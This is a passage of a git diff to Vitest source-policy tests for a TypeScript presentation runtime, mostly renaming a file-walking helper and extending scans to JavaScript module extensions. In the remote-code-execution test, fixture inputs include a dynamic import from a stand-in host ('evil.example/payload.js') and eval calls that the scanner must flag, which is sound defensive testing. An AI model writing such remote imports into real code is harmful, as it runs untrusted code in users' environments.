`src/compositions/**/*.ts` and the export still becomes + // source modules under `src/compositions/` and the export still becomes // the registered manifest. We enforce the same static-array // rule so `export default buildManifest();` is caught. // f) `export const m = ` (untyped, no assertion) AND @@ -798,13 +798,13 @@ describe('PUL-A005 — composition is declarative (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('compositions root `src/compositions/` exists and contains at least one .ts file', () => { + it('compositions root `src/compositions/` exists and contains at least one source module file', () => { expect(statSync(COMPOSITIONS_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(COMPOSITIONS_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(COMPOSITIONS_ROOT).length).toBeGreaterThan(0); }); - it('contains no A005 violations across `src/compositions/**/*.ts`', () => { - const files = walkTsFiles(COMPOSITIONS_ROOT); + it('contains no A005 violations across source modules under `src/compositions/`', () => { + const files = walkSourceFiles(COMPOSITIONS_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-a006-slide-frameworks.test.ts b/tests/runtime/policy-a006-slide-frameworks.test.ts index da0e863..8093aa5 100644 --- a/tests/runtime/policy-a006-slide-frameworks.test.ts +++ b/tests/runtime/policy-a006-slide-frameworks.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A006 — Live runtime is independent of slide frameworks. @@ -34,7 +34,7 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA006(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a008-mode-dispatch.test.ts b/tests/runtime/policy-a008-mode-dispatch.test.ts index 2b65fa1..bfc1375 100644 --- a/tests/runtime/policy-a008-mode-dispatch.test.ts +++ b/tests/runtime/policy-a008-mode-dispatch.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A008 — Workbench mode dispatch in the runtime core. @@ -24,7 +24,7 @@ import { // branches except where they must respond to mode hints (e.g., // suppressing audio in `mode=screenshot`)." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts`. The +// Enforcement: a Vitest source scan across source modules under `src/scenes/`. The // scanner flags three AST shapes — all variants of "this code branches // on a workbench mode literal": // @@ -65,7 +65,7 @@ import { // The runtime core (`src/runtime/`) IS the mode-dispatch boundary and // intentionally contains exactly the constructions this gate forbids // in scenes — scanning it would be a category error. The scope is -// therefore `src/scenes/**/*.ts` only. +// therefore source modules under `src/scenes/` only. // // Exemption: a line-scoped `// PUL-A008-allow: ` comment // excludes a single line. Empty / whitespace-only rationales are @@ -950,13 +950,13 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A008 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A008 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -971,7 +971,7 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { }); it('runtime core `src/runtime/` is exempt by scope (the dispatch boundary)', () => { - // The scope is `src/scenes/**/*.ts`, so `src/runtime/navigation.ts` + // The scope is source modules under `src/scenes/`, so `src/runtime/navigation.ts` // and `src/runtime/scene-loader.ts` — which deliberately contain // the mode-literal comparisons this gate forbids in scenes — // never enter the scan. This test pins that property so a @@ -981,7 +981,7 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { const loader = join(SRC_ROOT, 'runtime', 'scene-loader.ts'); expect(statSync(navigation).isFile()).toBe(true); expect(statSync(loader).isFile()).toBe(true); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(navigation); expect(sceneFiles).not.toContain(loader); }); diff --git a/tests/runtime/policy-a009-captions-single-source.test.ts b/tests/runtime/policy-a009-captions-single-source.test.ts index 8350032..838f7fa 100644 --- a/tests/runtime/policy-a009-captions-single-source.test.ts +++ b/tests/runtime/policy-a009-captions-single-source.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A009 — Captions / prompter single source. @@ -73,8 +73,8 @@ import { // and composition-entry OBJECT LITERALS** (codex review cycle 1 // class finding). The interface-level scan (rule 1) does not // cover the actual authoring surface where scene module values -// are written — `src/scenes/**/*.ts` and -// `src/compositions/**/*.ts`. Because `assertSceneModule()` +// are written — source modules under `src/scenes/` and +// source modules under `src/compositions/`. Because `assertSceneModule()` // accepts unknown keys (the preflight rules out a runtime // implementation change for this requirement), an authored scene // can carry a forbidden caption-shaped sibling field at the @@ -527,8 +527,8 @@ function scanPrompterCaptionImports(sourceFile: ts.SourceFile): readonly SourceF // TypeScript `SceneModule` / `CompositionEntryOverride` INTERFACE // declarations in `src/runtime/{scene,composition}.ts`. The actual // authoring data lives in object literals under -// `src/scenes/**/*.ts` (and per-composition overrides under -// `src/compositions/**/*.ts`). Because `assertSceneModule()` does +// source modules under `src/scenes/` (and per-composition overrides under +// source modules under `src/compositions/`). Because `assertSceneModule()` does // NOT reject unknown keys (preflight: no runtime implementation // change for this requirement), a scene module export can carry a // forbidden caption-shaped sibling field today and pass both the @@ -1645,7 +1645,7 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { it('flags `const { CaptionSchema } = source` (destructured local binding)', () => { // Codex review cycle 2 (class finding): destructuring // introduces a LOCAL binding with the forbidden name; the - // underlying source may live outside `src/**/*.ts` (external + // underlying source may live outside source modules under `src/` (external // module, generated code, inline factory), so the underlying // declaration is not reachable from the scanner. The local // binding is the parallel-surface vector the gate must close. @@ -1808,8 +1808,8 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { describe('rule 4 — forbidden authoring fields on scene-module object literals', () => { // Codex review cycle 1 (class finding): the interface-level scan - // (rule 1) leaves the AUTHORING side — `src/scenes/**/*.ts`, - // `src/compositions/**/*.ts` — unguarded because + // (rule 1) leaves the AUTHORING side — source modules under `src/scenes/`, + // source modules under `src/compositions/` — unguarded because // `assertSceneModule()` does not reject unknown keys. Rule 4 // scans every object literal annotated/asserted/satisfies-bound // as `SceneModule` or `CompositionEntryOverride` and flags @@ -2500,8 +2500,8 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { expect(findings, message).toEqual([]); }); - it('rule 2: zero forbidden parallel caption-schema declarations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('rule 2: zero forbidden parallel caption-schema declarations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2532,7 +2532,7 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanForbiddenSceneObjectFields(parseSource(text, rel))); diff --git a/tests/runtime/policy-a010-export-metadata-share.test.ts b/tests/runtime/policy-a010-export-metadata-share.test.ts index d6e6243..1ff6b1a 100644 --- a/tests/runtime/policy-a010-export-metadata-share.test.ts +++ b/tests/runtime/policy-a010-export-metadata-share.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A010 — Live and export share scene metadata. @@ -70,8 +70,8 @@ import { // imports from any other path are flagged. // // 3. **Forbidden export-side authoring fields on scene-module and -// composition-entry OBJECT LITERALS** under `src/scenes/**/*.ts` -// and `src/compositions/**/*.ts`. `assertSceneModule()` accepts +// composition-entry OBJECT LITERALS** in source modules under `src/scenes/` +// and `src/compositions/`. `assertSceneModule()` accepts // unknown keys at the value level (the preflight rules out a // runtime implementation change), so a scene module can carry a // forbidden export-shaped sibling field today and pass the @@ -462,8 +462,8 @@ function scanForbiddenSchemas(sourceFile: ts.SourceFile): readonly SourceFinding // // Rule 1 inspects the TypeScript `SceneModule` / // `CompositionEntryOverride` INTERFACE declarations. The actual -// authoring data lives in object literals under `src/scenes/**/*.ts` -// (and per-composition overrides under `src/compositions/**/*.ts`). +// authoring data lives in object literals in source modules under `src/scenes/` +// (and per-composition overrides under `src/compositions/`). // Because `assertSceneModule()` does NOT reject unknown keys, a scene // module export can carry a forbidden export-shaped sibling field // today and pass both the schema gate AND rule 1. Rule 3 closes the @@ -2140,8 +2140,8 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = expect(findings, message).toEqual([]); }); - it('rule 2: zero forbidden parallel scene/composition declarations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('rule 2: zero forbidden parallel scene/composition declarations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2160,7 +2160,7 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanUnannotatedAuthoringDeclarations(parseSource(text, rel))); @@ -2178,7 +2178,7 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanForbiddenSceneObjectFields(parseSource(text, rel))); diff --git a/tests/runtime/policy-biome-complexity-gate.test.ts b/tests/runtime/policy-biome-complexity-gate.test.ts index e633e82..9175fa5 100644 --- a/tests/runtime/policy-biome-complexity-gate.test.ts +++ b/tests/runtime/policy-biome-complexity-gate.test.ts @@ -2,7 +2,7 @@ import { readFileSync } from 'node:fs'; import { join, relative } from 'node:path'; import { describe, expect, it } from 'vitest'; -import { REPO_ROOT, walkTsFiles } from './source-policy'; +import { REPO_ROOT, walkSourceFiles } from './source-policy'; // Issue 90 — per-function cognitive-complexity hard gate. // @@ -172,7 +172,7 @@ describe('issue 90 — Biome cognitive-complexity hard gate', () => { const scanRoots = [join(REPO_ROOT, 'src'), join(REPO_ROOT, 'tests')]; const bareSuppressions: string[] = []; for (const root of scanRoots) { - for (const filePath of walkTsFiles(root)) { + for (const filePath of walkSourceFiles(root)) { const text = readFileSync(filePath, 'utf8'); const lines = text.split('\n'); lines.forEach((line, idx) => { diff --git a/tests/runtime/policy-q003-url-state-determinism.test.ts b/tests/runtime/policy-q003-url-state-determinism.test.ts index 7665a26..480d44e 100644 --- a/tests/runtime/policy-q003-url-state-determinism.test.ts +++ b/tests/runtime/policy-q003-url-state-determinism.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q003 — URL state determinism source scan. @@ -34,7 +34,7 @@ import { // happens to overlap on the host-state subset but is logically // scope-separable. // -// Enforcement: a Vitest source scan over `src/**/*.ts`. The scanner +// Enforcement: a Vitest source scan across source modules under `src/`. The scanner // flags every runtime-value read of: // - `localStorage`, `sessionStorage` (Web Storage) // - `document.cookie` @@ -1384,13 +1384,13 @@ describe('PUL-Q003 — URL state determinism (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scan root `src/` exists and contains at least one .ts file', () => { + it('scan root `src/` exists and contains at least one source module file', () => { expect(statSync(SRC_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SRC_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SRC_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q003 violations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('contains no Q003 violations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-q004-resource-cleanup.test.ts b/tests/runtime/policy-q004-resource-cleanup.test.ts index ae46dbc..6148460 100644 --- a/tests/runtime/policy-q004-resource-cleanup.test.ts +++ b/tests/runtime/policy-q004-resource-cleanup.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q004 — Resource cleanup completeness (source scan). @@ -112,8 +112,8 @@ import { // seam scenes use for DOM allocation // (`src/scenes/browser-support-fixture.ts`). // -// Scope: `src/scenes/**/*.ts`. The runtime itself -// (`src/runtime/**/*.ts`) uses signal-bound `addEventListener` +// Scope: source modules under `src/scenes/`. The runtime itself +// (source modules under `src/runtime/`) uses signal-bound `addEventListener` // extensively; that is the canonical activation-scope ownership // pattern PUL-Q004 wants scenes to adopt by going through `ctx`. // The runtime is intentionally OUT of scope so its signal-bound @@ -1183,37 +1183,60 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { describe('scanner self-tests', () => { describe('global listener attach / detach', () => { it.each([ - ['document.addEventListener("click", () => undefined);'], - ['document.removeEventListener("click", handler);'], - ['window.addEventListener("resize", () => undefined);'], - ['window.removeEventListener("resize", handler);'], - ])('flags %s', (source) => { + [ + 'document.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'window.addEventListener("resize", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + ])('flags %s with label %s', (source, expectedLabel) => { const findings = findingsOf(`declare const handler: () => void; ${source}`); - expect(findings.length).toBeGreaterThan(0); - const labels = findings.map((f) => f.label); - expect( - labels.some( - (l) => - l.startsWith('global addEventListener') || l.startsWith('global removeEventListener'), - ), - ).toBe(true); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); }); it.each([ - ['globalThis.addEventListener("click", () => undefined);', 'global addEventListener'], - ['window.addEventListener("click", () => undefined);', 'global addEventListener'], - ['self.addEventListener("click", () => undefined);', 'global addEventListener'], - ['global.addEventListener("click", () => undefined);', 'global addEventListener'], - ['globalThis.removeEventListener("click", handler);', 'global removeEventListener'], + [ + 'document.removeEventListener("click", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], + [ + 'window.removeEventListener("resize", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], + ])('flags %s with label %s', (source, expectedLabel) => { + const findings = findingsOf(`declare const handler: () => void; ${source}`); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); + }); + + it.each([ + [ + 'globalThis.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'window.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'self.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'global.addEventListener("click", () => undefined);', + 'global addEventListener (scene attaches listener outside activation scope)', + ], + [ + 'globalThis.removeEventListener("click", handler);', + 'global removeEventListener (scene removes listener outside activation scope)', + ], ])('flags wrapper-rooted listener `%s` with label `%s`', (source, expectedLabel) => { - // Label assertion (test-quality review): a regression that - // routed wrapper-rooted listener access through the wrong - // matcher would still flag the line but emit the wrong - // remediation hint; pin the exact prefix per source/label - // pair so the diagnostic contract is structurally enforced. const findings = findingsOf(`declare const handler: () => void; ${source}`); - const labels = findings.map((f) => f.label); - expect(labels.some((l) => l.startsWith(expectedLabel))).toBe(true); + expect(findings).toHaveLength(1); + expect(findings[0]?.label).toBe(expectedLabel); }); it('flags `document["addEventListener"](...)` (string-literal subscript) with the listener label', () => { @@ -2103,13 +2126,13 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q004 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no Q004 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2123,7 +2146,7 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { expect(findings, message).toEqual([]); }); - it('runtime tree `src/runtime/**/*.ts` is OUT of scope by design (signal-bound listeners live there)', () => { + it('runtime source modules under `src/runtime/` are OUT of scope by design (signal-bound listeners live there)', () => { // The runtime owns signal-bound `addEventListener` use across // `audio.ts`, `presenter.ts`, `navigation.ts`, // `scene-loader.ts`, `timeline.ts`, and `audio-unlock-dom.ts`. @@ -2132,7 +2155,7 @@ describe('PUL-Q004 — resource cleanup completeness (source scan)', () => { // require per-line exemptions. const runtimeRoot = join(SRC_ROOT, 'runtime'); expect(statSync(runtimeRoot).isDirectory()).toBe(true); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); for (const file of sceneFiles) { expect(file.startsWith(runtimeRoot)).toBe(false); } diff --git a/tests/runtime/policy-q007-remote-code-execution.test.ts b/tests/runtime/policy-q007-remote-code-execution.test.ts index 20e4437..785ff2f 100644 --- a/tests/runtime/policy-q007-remote-code-execution.test.ts +++ b/tests/runtime/policy-q007-remote-code-execution.test.ts @@ -1,10 +1,12 @@ -import { readFileSync, statSync } from 'node:fs'; -import { relative } from 'node:path'; +import { mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, relative } from 'node:path'; import * as ts from 'typescript'; import { describe, expect, it } from 'vitest'; import { REPO_ROOT, + SOURCE_POLICY_EXTENSIONS, SRC_ROOT, type SourceFinding, classifyImportSpecifier, @@ -13,10 +15,11 @@ import { isComputedGlobalWrapperAccess, isDynamicImportCall, isInTypePosition, + isSourcePolicyFile, lineText, parseSource, pathResolvesTo, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q007 — no remote code execution. @@ -26,10 +29,11 @@ import { // mechanism that would execute code not present in the published // bundle." // -// Enforcement: a Vitest source scan over `src/**/*.ts`. The scanner -// flags every runtime-value reference to `eval` / `Function` and -// every dynamic `import(...)` whose specifier is a remote URL or a -// non-static expression. Type-position references (interface members +// Enforcement: a Vitest source scan over executable source modules +// under `src/`. The scanner flags every runtime-value reference to +// `eval` / `Function` and every dynamic `import(...)` whose specifier +// is a remote URL or a non-static expression. Type-position references +// (interface members // named `eval`, `typeof eval` in a type alias, JSDoc // `{@link import('./mod').T}`) are intentionally NOT flagged — they // are compile-time artifacts and do not execute code at runtime. @@ -173,6 +177,38 @@ function scanQ007(sourceFile: ts.SourceFile): readonly Q007Finding[] { describe('PUL-Q007 — no remote code execution (source scan)', () => { describe('scanner self-tests', () => { + describe('source file inventory', () => { + it('walks every executable source module extension and skips declarations/non-code', () => { + const root = mkdtempSync(join(tmpdir(), 'pulsar-source-policy-')); + try { + for (const ext of SOURCE_POLICY_EXTENSIONS) { + writeFileSync(join(root, `fixture${ext}`), 'export const ok = true;\n'); + } + writeFileSync(join(root, 'fixture.d.ts'), 'export interface TypesOnly {}\n'); + writeFileSync(join(root, 'fixture.css'), '.fixture { color: red; }\n'); + + const found = walkSourceFiles(root) + .map((file) => relative(root, file)) + .sort(); + const expected = SOURCE_POLICY_EXTENSIONS.map((ext) => `fixture${ext}`).sort(); + + expect(found).toEqual(expected); + expect(isSourcePolicyFile(join(root, 'fixture.js'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.jsx'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.ts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.tsx'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.mjs'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.mts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.cjs'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.cts'))).toBe(true); + expect(isSourcePolicyFile(join(root, 'fixture.d.ts'))).toBe(false); + expect(isSourcePolicyFile(join(root, 'fixture.css'))).toBe(false); + } finally { + rmSync(root, { recursive: true, force: true }); + } + }); + }); + describe('direct constructions', () => { it.each([ ['eval (value read)', "eval('1+2');"], @@ -279,6 +315,25 @@ describe('PUL-Q007 — no remote code execution (source scan)', () => { expect(findings).toEqual([]); }); + it('flags eval and non-static dynamic import in a JavaScript source file', () => { + const findings = findingsOf( + "const url = './module.js'; eval('1+2'); import(url);", + 'src/runtime/example.js', + ); + expect(findings.map((f) => f.label)).toEqual([ + 'eval (value read)', + 'dynamic import of non-static specifier', + ]); + }); + + it('flags remote dynamic import after JSX syntax in a JSX source file', () => { + const findings = findingsOf( + 'const element =
; import(\'https://evil.example/payload.js\');', + 'src/scenes/example.jsx', + ); + expect(findings.map((f) => f.label)).toContain('dynamic import of remote URL'); + }); + it('does NOT flag a no-substitution template-literal dynamic import of a local module', () => { // `import(`./module`)` is a NoSubstitutionTemplateLiteral whose // cooked value resolves to a relative path. The classifier @@ -486,13 +541,13 @@ describe('PUL-Q007 — no remote code execution (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scan root `src/` exists and contains at least one .ts file', () => { + it('scan root `src/` exists and contains at least one source module file', () => { expect(statSync(SRC_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SRC_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SRC_ROOT).length).toBeGreaterThan(0); }); - it('contains no Q007 violations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('contains no Q007 violations across executable source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: Q007Finding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-q008-dom-css-accessibility.test.ts b/tests/runtime/policy-q008-dom-css-accessibility.test.ts index 59a1ce7..8f1a6c7 100644 --- a/tests/runtime/policy-q008-dom-css-accessibility.test.ts +++ b/tests/runtime/policy-q008-dom-css-accessibility.test.ts @@ -11,7 +11,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-Q008 — Accessibility of DOM/CSS scenes (source-policy gate). @@ -34,7 +34,7 @@ import { // Surface families enforced here, parameterised by tables so future // rules add a row without rewriting the walker: // -// 1. Scene-authored attribute writes (`src/scenes/**/*.ts`) — +// 1. Scene-authored attribute writes (source modules under `src/scenes/`) — // `setAttribute(name, value)` calls whose `(name, value)` pair // hits a forbidden row in `FORBIDDEN_SCENE_ATTRS`: // - `tabindex` with a string-literal positive integer @@ -64,7 +64,7 @@ import { // - `el.style.setProperty('user-select', 'none')` and the // vendor-prefixed property names. // -// 3. Scene-authored CSS strings (`src/scenes/**/*.ts`) — +// 3. Scene-authored CSS strings (source modules under `src/scenes/`) — // `FORBIDDEN_SCENE_CSS_DECLARATIONS` matched against a // *normalised* form of every string literal AND every // template-literal head/span. Normalisation collapses runs of @@ -81,7 +81,7 @@ import { // uses the same scanner discipline. // // 4. Runtime-authored attribute removals -// (`src/runtime/**/*.ts` + `src/main.ts`) — +// (source modules under `src/runtime/` + `src/main.ts`) — // `removeAttribute(name)` calls whose `name` is a string-literal // matching `FORBIDDEN_RUNTIME_REMOVAL_NAMES` (per ARIA tree // preservation, clause C3). The runtime owns the stage and may @@ -1197,22 +1197,22 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('runtime root `src/runtime/` exists and contains at least one .ts file', () => { + it('runtime root `src/runtime/` exists and contains at least one source module file', () => { expect(statSync(RUNTIME_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(RUNTIME_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(RUNTIME_ROOT).length).toBeGreaterThan(0); }); it('`src/main.ts` exists', () => { expect(statSync(MAIN_TS).isFile()).toBe(true); }); - it('contains no Q008 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no Q008 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -1227,8 +1227,8 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { expect(findings, message).toEqual([]); }); - it('contains no Q008 violations across `src/runtime/**/*.ts`', () => { - const files = walkTsFiles(RUNTIME_ROOT); + it('contains no Q008 violations across source modules under `src/runtime/`', () => { + const files = walkSourceFiles(RUNTIME_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -1249,7 +1249,7 @@ describe('PUL-Q008 — DOM/CSS accessibility (source scan)', () => { const sf = parseSource(text, rel); const findings = scanRuntimeFile(sf); const header = - 'PUL-Q008 forbids `src/main.ts` from removing accessibility attributes — the workbench bootstrap participates in the same ARIA-preservation contract as `src/runtime/**/*.ts`.'; + 'PUL-Q008 forbids `src/main.ts` from removing accessibility attributes — the workbench bootstrap participates in the same ARIA-preservation contract as source modules under `src/runtime/`.'; const detail = findings.map((f) => ` ${f.file}:${f.line} ${f.label} ${f.text}`).join('\n'); const message = findings.length === 0 ? '' : `${header}\n${detail}`; expect(findings, message).toEqual([]); diff --git a/tests/runtime/source-policy.ts b/tests/runtime/source-policy.ts index 28d7994..8546d09 100644 --- a/tests/runtime/source-policy.ts +++ b/tests/runtime/source-policy.ts @@ -1,12 +1,12 @@ // Shared helpers for the PUL-Q007 / PUL-A001..A006 source-policy gates. // // The seven runtime-policy bans (#46 + #50..#55) share one enforcement -// shape: a Vitest source scan over `src/**/*.ts` that flags forbidden -// constructions (Q007 — `eval`, `new Function`, remote dynamic -// `import()`) or forbidden module specifiers in a given file-scope -// (A001..A004, A006). PUL-A005 is the composition-declarativeness -// check; it reuses the AST helpers below for top-level-statement -// classification but supplies its own decision. +// shape: a Vitest scan over executable source modules under `src/` +// that flags forbidden constructions (Q007 — `eval`, `new Function`, +// remote dynamic `import()`) or forbidden module specifiers in a given +// file scope (A001..A004, A006). PUL-A005 is the +// composition-declarativeness check; it reuses the AST helpers below +// for top-level-statement classification but supplies its own decision. // // This file is the shared seam the preflights authorized: // `docs/design/pul-q007-runtime-code-execution-preflight.md`: @@ -37,14 +37,37 @@ export interface SourceFinding { export const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url)); export const SRC_ROOT = join(REPO_ROOT, 'src'); +export const SOURCE_POLICY_EXTENSIONS = Object.freeze([ + '.cjs', + '.cts', + '.js', + '.jsx', + '.mjs', + '.mts', + '.ts', + '.tsx', +] as const); /** - * Walk a directory recursively, returning every `.ts` file found. - * Skips dotfiles (e.g., `.DS_Store`, `.gitignore`). Generated trees - * (`coverage/`, `dist/`) live OUTSIDE the scanned root, so they are - * out of scope by construction. + * True when a file is executable source that Vite/esbuild can bundle + * from `src/`. Type declaration files are excluded even though their + * suffixes end in `.ts` / `.mts` / `.cts`; they are not runtime code. */ -export function walkTsFiles(root: string, excludes: readonly string[] = []): string[] { +export function isSourcePolicyFile(filePath: string): boolean { + const lower = filePath.toLowerCase(); + if (lower.endsWith('.d.ts') || lower.endsWith('.d.mts') || lower.endsWith('.d.cts')) { + return false; + } + return SOURCE_POLICY_EXTENSIONS.some((ext) => lower.endsWith(ext)); +} + +/** + * Walk a directory recursively, returning every executable source + * module file found. Skips dotfiles (e.g., `.DS_Store`, `.gitignore`). + * Generated trees (`coverage/`, `dist/`) live OUTSIDE the scanned + * root, so they are out of scope by construction. + */ +export function walkSourceFiles(root: string, excludes: readonly string[] = []): string[] { const isExcluded = (absolutePath: string): boolean => { const rel = relative(REPO_ROOT, absolutePath); return excludes.some((ex) => rel === ex || rel.startsWith(`${ex}/`)); @@ -55,8 +78,8 @@ export function walkTsFiles(root: string, excludes: readonly string[] = []): str const full = join(root, entry); const st = statSync(full); if (st.isDirectory()) { - out.push(...walkTsFiles(full, excludes)); - } else if (st.isFile() && entry.endsWith('.ts')) { + out.push(...walkSourceFiles(full, excludes)); + } else if (st.isFile() && isSourcePolicyFile(full)) { if 